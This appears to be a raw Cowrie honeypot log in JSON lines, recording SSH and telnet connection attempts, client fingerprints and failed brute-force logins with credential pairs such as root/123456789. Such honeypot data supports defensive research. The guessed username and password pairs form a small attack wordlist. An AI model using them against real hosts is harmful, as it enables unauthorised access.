{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:35:09.140821Z","src_ip":"69.163.176.54","session":"7151c0d03160","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lendingprotocol","password":"lending123","message":"login attempt [lendingprotocol/lending123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:35:09.354741Z","src_ip":"69.163.176.54","session":"7151c0d03160","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:35:10.429158Z","src_ip":"69.163.176.54","session":"7151c0d03160","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":46620,"dst_ip":"159.203.135.109","dst_port":22,"session":"412706061a47","protocol":"ssh","message":"New connection: 77.94.47.83:46620 (159.203.135.109:22) [session: 412706061a47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:35:11.236464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:35:11.240880Z","src_ip":"77.94.47.83","session":"412706061a47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:35:11.351909Z","src_ip":"77.94.47.83","session":"412706061a47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bronson","message":"login attempt [root/bronson] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:35:11.687446Z","src_ip":"77.94.47.83","session":"412706061a47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:35:12.802642Z","src_ip":"77.94.47.83","session":"412706061a47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":78.03623676300049,"message":"Connection lost after 78 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:35:14.225892Z","src_ip":"137.184.5.188","session":"fbabd921b813","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.235.40.131","src_port":31250,"dst_ip":"10.17.0.5","dst_port":22,"session":"b85169cf2aad","protocol":"ssh","message":"New connection: 172.235.40.131:31250 (10.17.0.5:22) [session: b85169cf2aad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:35:23.250869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:35:23.961804Z","src_ip":"172.235.40.131","session":"b85169cf2aad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:35:23.964911Z","src_ip":"172.235.40.131","session":"b85169cf2aad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:35:25.187747Z","src_ip":"172.235.40.131","session":"b85169cf2aad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.235.40.131","src_port":31256,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3a06b366bf0","protocol":"ssh","message":"New connection: 172.235.40.131:31256 (10.17.0.5:22) [session: d3a06b366bf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:35:25.280521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:35:25.551748Z","src_ip":"172.235.40.131","session":"d3a06b366bf0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:35:25.554792Z","src_ip":"172.235.40.131","session":"d3a06b366bf0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:35:26.148707Z","src_ip":"172.235.40.131","session":"d3a06b366bf0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.235.40.131","src_port":31258,"dst_ip":"10.17.0.5","dst_port":22,"session":"948f05d4a62d","protocol":"ssh","message":"New connection: 172.235.40.131:31258 (10.17.0.5:22) [session: 948f05d4a62d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:35:26.229966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:35:26.352574Z","src_ip":"172.235.40.131","session":"948f05d4a62d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:35:26.356005Z","src_ip":"172.235.40.131","session":"948f05d4a62d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:35:26.648389Z","src_ip":"172.235.40.131","session":"948f05d4a62d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.208","src_port":29074,"dst_ip":"159.203.135.109","dst_port":22,"session":"87aacd5a6737","protocol":"ssh","message":"New connection: 178.20.210.208:29074 (159.203.135.109:22) [session: 87aacd5a6737]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:35:48.716804Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:35:48.727316Z","src_ip":"178.20.210.208","session":"87aacd5a6737","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:35:48.865477Z","src_ip":"178.20.210.208","session":"87aacd5a6737","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":37928,"dst_ip":"10.17.0.5","dst_port":22,"session":"0102d0286ec8","protocol":"ssh","message":"New connection: 91.92.40.176:37928 (10.17.0.5:22) [session: 0102d0286ec8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:35:49.366185Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@2wsx#3","message":"login attempt [root/1qaz@2wsx#3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:35:49.517968Z","src_ip":"178.20.210.208","session":"87aacd5a6737","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:35:49.719408Z","src_ip":"91.92.40.176","session":"0102d0286ec8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:35:49.722361Z","src_ip":"91.92.40.176","session":"0102d0286ec8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789","message":"login attempt [root/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:35:50.450133Z","src_ip":"91.92.40.176","session":"0102d0286ec8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:35:50.617629Z","src_ip":"178.20.210.208","session":"87aacd5a6737","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:35:51.649636Z","src_ip":"91.92.40.176","session":"0102d0286ec8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.182.110","src_port":26186,"dst_ip":"159.203.135.109","dst_port":22,"session":"55de9ded9ff0","protocol":"ssh","message":"New connection: 130.12.182.110:26186 (159.203.135.109:22) [session: 55de9ded9ff0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:35:56.245439Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:35:56.352484Z","src_ip":"130.12.182.110","session":"55de9ded9ff0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.163.244.125","src_port":40740,"dst_ip":"159.203.135.109","dst_port":22,"session":"85e0ef88f2cd","protocol":"ssh","message":"New connection: 192.163.244.125:40740 (159.203.135.109:22) [session: 85e0ef88f2cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:36:41.254891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:36:41.258403Z","src_ip":"192.163.244.125","session":"85e0ef88f2cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:36:41.328716Z","src_ip":"192.163.244.125","session":"85e0ef88f2cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"G3m1n1$Tr0ng#P@ss","message":"login attempt [root/G3m1n1$Tr0ng#P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:36:41.541096Z","src_ip":"192.163.244.125","session":"85e0ef88f2cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:36:42.886206Z","src_ip":"192.163.244.125","session":"85e0ef88f2cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":39824,"dst_ip":"159.203.135.109","dst_port":23,"session":"86f581fc3a7e","protocol":"telnet","message":"New connection: 170.64.224.25:39824 (159.203.135.109:23) [session: 86f581fc3a7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:37:20.716890Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":31364,"dst_ip":"159.203.135.109","dst_port":22,"session":"e5338fd41847","protocol":"ssh","message":"New connection: 38.93.206.2:31364 (159.203.135.109:22) [session: e5338fd41847]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:37:29.668089Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:37:29.671753Z","src_ip":"38.93.206.2","session":"e5338fd41847","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:37:29.722353Z","src_ip":"38.93.206.2","session":"e5338fd41847","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"browning","message":"login attempt [root/browning] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:37:29.873360Z","src_ip":"38.93.206.2","session":"e5338fd41847","protocol":"ssh"}
